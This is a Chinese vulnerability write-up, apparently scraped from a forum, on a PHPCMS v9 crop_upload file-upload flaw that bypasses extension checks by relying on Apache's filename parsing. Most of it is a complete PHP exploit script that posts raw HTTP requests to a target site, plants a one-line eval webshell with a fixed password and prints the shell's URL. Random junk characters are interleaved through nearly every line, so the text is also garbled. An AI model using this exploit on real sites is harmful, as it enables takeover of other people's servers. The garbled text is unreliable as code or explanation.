漏洞类型: 文件上传导致任意代码执行+ ? ^. ]6 [, F! |9 y% {7 l5 Q1 } K8 Y
" S) ?& d8 R, C
简要描述:
/ D( y0 w4 j1 k4 F( B; T& V0 q1 H# `% b$ {3 A4 K
phpcms v9 getshell (apache)/ J* @6 p; F( D S- a* A8 X
详细说明:
0 r4 r0 b; @2 s) g0 M, ?# r# _4 n* u) u$ K W
漏洞文件:phpcms\modules\attachment\attachments.php
o1 d$ L' p2 o/ Q& ?, `
( M1 k6 V6 L+ y; A( m* K, b5 b2 E9 qpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
4 k: g* W* j2 ~4 o' T后缀检测:phpcms\modules\attachment\functions\global.func.php
$ L. l9 Q) X3 N5 C% H
! F; y* N- ~5 f5 V: H
9 M2 _% w. i- x' H
7 N4 S/ l8 d8 j; l7 Hfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
( ?; r' q- n- A, H- N3 |
3 y' J. w# i# |: }- q' a; F/ C6 |关键函数:
( v) r4 ]# s# [& [9 _4 A/ a" V: a0 l1 w, Y( U
# z) Q7 p/ p6 |6 p6 y
" P" m8 A9 E: b. r; I
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } - I. |/ ~5 ~, \0 a4 n1 W% A+ X
8 _$ S4 I" {# J; z/ g; L Fileext函数是对文件后缀名的提取。
- U9 Q6 t" ?, Q# I( Q根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php* j3 X, P/ D) s C8 B
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。8 Q, A& B' Y9 ~1 E6 K
我们回到public function crop_upload() 函数中4 E1 Z+ i( z; S+ O: g
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();9 D& _: _4 b0 W) ~
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
) C& P9 u! T& h) p& P这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
, g6 t, E1 ]3 @8 R. I+ \6 g经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
9 d8 ?/ x1 s3 \, G1 ^, w9 F# }# T1 C3 a最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。' y* J1 g( T/ S* u
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
$ h! o( x5 ^6 ^" s漏洞证明:
+ n5 j1 M/ H2 Q
) b! T: r$ z0 ^9 Texp:
5 y+ r) t2 y6 r* r1 Z* E h& I8 n
y. E4 @! s! f% G$ J<?php, ^6 U, i, w; m3 p( a
error_reporting(E_ERROR);2 }: D" U, _0 O, p
set_time_limit(0);/ [* D9 \ v% h# I; m
$pass="ln";
" l: y, ^; q8 Z1 }( dprint_r('- s& c9 ~9 a8 U4 g+ L; q# u- \
+---------------------------------------------------------------------------+
0 a& q7 A6 ?4 w3 S$ N: a- y/ jPHPCms V9 GETSHELL 0DAY
! P8 c3 [" g8 Y5 g2 P+ K7 X/ z* V0 h5 Tcode by L.N.
" o# |* I J7 i
8 m/ O: t* ~- d8 ~+ e9 l, ]apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
/ q* F+ Y V! Y+---------------------------------------------------------------------------+' y$ ], y9 E* I$ A2 y* Y
');
2 w1 P) ~ g& S9 C- O' ~if ($argc < 2) {
+ j# P z8 G7 _; W+ Fprint_r('
' d/ F I$ h4 ]( ?1 q5 Z0 s5 h+---------------------------------------------------------------------------+$ l* s: ?% A- y: m' ~$ n! n
Usage: php '.$argv[0].' url path" [; Z$ U. w! G1 p1 T; T+ F
$ Q |" J. g! p2 g5 w1 p
Example:
$ O( n- u# j- P; G1.php '.$argv[0].' lanu.sinaapp.com' b$ ?0 t5 @% Y1 t) `# j
2.php '.$argv[0].' lanu.sinaapp.com /phpcms; z8 r; G1 h5 _
+---------------------------------------------------------------------------+( X. @8 R; O' L8 r7 {( J
');
3 n, W0 R: E" ^( ^ {2 k- B3 X: s* Eexit;6 g8 J& C3 t H; L. C
}8 p9 M4 K3 y( k9 o* f# b$ X; q# q
3 _# J7 n% P. J! H9 M: H
$url = $argv[1];
7 ` _9 G& B9 N& R" A1 P; L$path = $argv[2];" n$ i7 B) o# r5 P6 j) j
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';: F$ R$ ~: r: {) y; h2 [, a
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
( |3 V# _. m" T9 j- d# i gif($ret=Create_dir($url,$path)), M, s l- O0 R+ }+ f' k: b/ I
{
6 w7 y/ o; q( z; r1 G; F: t//echo $ret;9 G0 H) c! A3 Q9 O, Z5 C2 _) A; F
$pattern = "|Server:[^,]+?|U";5 V9 |0 M6 j% L" r& X8 f
preg_match_all($pattern, $ret, $matches);
) t) ^1 |, o! C+ S* Z" Zif($matches[0][0])" h9 C6 G" S6 c# h
{* u) ]8 ?: u, A# H0 G
if(strpos($matches[0][0],'Apache') == false)7 Q* [/ ] {6 t2 f5 I) i
{
$ c4 P3 \) J, W9 a9 t& x) f/ lecho "\n亲!此网站不是apache的网站。\n";exit;4 |, w. I) n) q9 [5 o. o
}& S# B8 @0 I6 G. F6 X. k; w
}
! C" V+ N" l8 [' v$ret = GetShell($url,$phpshell,$path,$file);9 a% c# K' y3 k* b
$pattern = "|http:\/\/[^,]+?\.,?|U";7 J/ o' I& k7 R& y1 C: W( {7 g: S
preg_match_all($pattern, $ret, $matches);
1 k* |+ p7 T }, p' Gif($matches[0][0])0 K2 W4 n8 B5 }+ G0 N
{
% c, A" ?! N' u2 T J! c2 x3 Decho "\n".'密码为: '.$pass."\n";* u& G+ o7 O& X2 L5 H( x
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;7 I( P j1 {; A8 S$ h
}
4 v) ?/ g! [, i7 ]else
6 h* {4 | l, `{
) b V1 E( X) v$pattern = "|\/uploadfile\/[^,]+?\.,?|U";6 i- \% J: Y/ j8 f B( v/ d! v
preg_match_all($pattern, $ret, $matches);/ d3 o/ P- W- n. [9 d0 Z
if($matches[0][0]): e9 d4 k$ S% _% r! v) F* [
{1 O1 @* S* m- \2 ?- S+ l
echo "\n".'密码为: '.$pass."\n";
8 D. _. }& U& B6 @) `+ j( u* @echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;1 g# K7 W9 B7 f0 v" q5 e6 V" q
}5 S* ?; t- e$ C
else
# ~* h6 F7 M: w$ l* e{
; }0 b, P9 Z D# |5 e0 e4 d3 secho "\r\n没得到!\n";exit;; F/ q( ?6 i+ w1 w3 S# [
}
0 S) d. Q: o5 f$ p( u2 `/ I1 L# ]}; P j4 s3 z5 ^, X' [
}5 }& w; \+ P0 T
* N# R2 f) n1 {function GetShell($url,$shell,$path,$js)' i$ J4 h6 Q# V) v
{- p+ O% y2 v6 i3 q; ?
$content =$shell;4 B8 c6 n+ j% O$ b4 e5 [9 ]; B
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
; }4 x& [8 C+ @9 q4 `$data .= "Host: ".$url."\r\n";
' F: `9 r* y0 C* s$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 t% D6 o+ [: d K% |' r$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) L0 c& n, g8 I# `! U$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 F. G, W; p+ q, B( s$data .= "Connection: close\r\n";
2 N# d, }$ V3 A i+ W: [% D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
: Q j) n; ^3 H. F9 n. ?# A$data .= $content."\r\n";9 q c3 Y+ y) `5 K( I' s
$ock=fsockopen($url,80);
, K. z! {0 F9 B# H: v/ zif (!$ock)- h6 y6 E! Z+ K- V) P" Q
{
, I3 s4 U; G e3 h" w! c2 c# M. }echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. R: w; `, Q) x U: V
}9 ?5 v' Z- g4 P0 m! U
else4 V# g" \ C/ T1 }1 H
{% G, t- _9 T% J. Z' I& `# u' K
fwrite($ock,$data);( I* b& h% j, ?$ B3 C
$resp = '';2 ]6 `, M. R `. q% l* o: B$ `" @7 s
while (!feof($ock))
, x. G+ U/ K$ l, u5 t{
4 `& Z! e8 v' D' N, A5 o8 w; q5 J) S$resp.=fread($ock, 1024);
) v9 J; f7 O6 u# a# x% C}! s: E7 b" ^7 M/ y5 ~9 V! \
return $resp;
9 G8 S$ |( _7 ~3 r6 A6 t}
# l! D3 C* W0 G7 C}
/ D' s* |2 [' u3 C
: v3 O+ W8 D* lfunction Create_dir($url,$path='')
0 s% [+ r% U) t- V{
8 m% J3 }: Y5 O, A' k$content ='I love you';8 q8 }8 P, ?* \, [6 o; c* p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
) C2 }# R4 ^/ a% s4 E# k$data .= "Host: ".$url."\r\n";
k5 ~2 R: d* d2 L% e! @$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 c# L3 Y! Q6 ]& b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 W; m' E% c' K5 A9 d$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";! B: I9 _ b" {/ o
$data .= "Connection: close\r\n";
4 E3 N: J6 a6 h4 z- I$ h" N$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* \4 Y X- y' {2 o; F% P$data .= $content."\r\n";
6 ~* c! P5 g- ~1 |$ock=fsockopen($url,80);0 W& d. F$ T D; b/ Z/ A0 M$ Y
if (!$ock)6 `! X. F5 d& H3 q1 X/ G
{- ~7 s/ O! T2 {+ M7 m% P
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 E; J/ k. ~" ^3 U: [}, a1 x! K0 E- H r( q
fwrite($ock,$data);
. d6 n% o9 Y0 h% z$resp = '';0 U' M. S$ Q _/ c: ~/ \" C
while (!feof($ock))
- h1 J7 E7 u* P G{1 q4 K* g2 U& C. I1 t
$resp.=fread($ock, 1024);
& J+ f }4 Q5 d9 V}
* P, I) @+ ?( h' ^. k' L+ Q zreturn $resp;' P) N# a j4 o% v9 M" Z( u0 J. X
}* V! ^" u7 y' B2 v
?> % Z8 R0 \5 j9 ?& k) ~. J
6 F4 W/ |% U0 s- h% T+ u
修复方案:- u8 e6 @& u r6 ]+ |; o; ]
7 D: L/ N7 t' e0 n8 l4 r9 v
过滤过滤再过滤& N2 {0 ? }% `# y0 j0 Y* A
' a$ L0 m3 W I* m- P. @* j: X |